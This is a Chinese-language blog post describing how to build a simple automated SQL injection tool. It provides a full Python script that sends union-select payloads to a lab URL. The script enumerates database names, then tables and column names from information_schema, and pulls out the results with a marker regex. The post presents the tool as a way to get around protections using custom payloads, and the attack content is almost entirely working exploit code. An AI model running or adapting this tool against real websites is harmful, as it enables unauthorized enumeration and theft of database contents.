0x01  前言

  一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。

0x02 SQL注入工具

A、联合查询

union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。

 代码详情:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import re
values={}

def get(url,values):
    data = urllib.urlencode(values)
    geturl = url+'?'+data
    response = requests.get(geturl)
    result=response.content
    find_list=re.findall(r"qwe~(.+?)~qwe", result)
    if len(find_list)>0:
        return find_list

def get_database_name(url):
    values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" 
    name_list=get(url,values)
    print 'The databases:'
    for i in name_list:
        print i+" ",
    print "\n"
def table_name(url):
    database_name=raw_input('please input your database:')
    values['id'] = "1  union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'"
    name_list=get(url,values)
    print 'The table is :'
    for i in name_list:
        print i+" ",
    print "\n"
def column_name(url):
    table_name=raw_input('please input your table:')
    values['id'] = "1   union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'"
    name_list=get(url,values)
    print 'The column is :'
    for i in name_list:
        print i+" ",
if __name__ == '__main__':
    url='http://192.168.106.130/config/sql.php'
    get_database_name(url)
    table_name(url)
    column_name(url)
View Code

相关文章:

  • 2021-09-22
  • 2021-12-20
  • 2021-12-02
  • 2022-12-23
  • 2021-12-21
  • 2022-01-29
猜你喜欢
  • 2021-10-20
  • 2022-01-26
  • 2021-10-10
  • 2022-01-28
  • 2021-07-04
  • 2021-07-21
相关资源
相似解决方案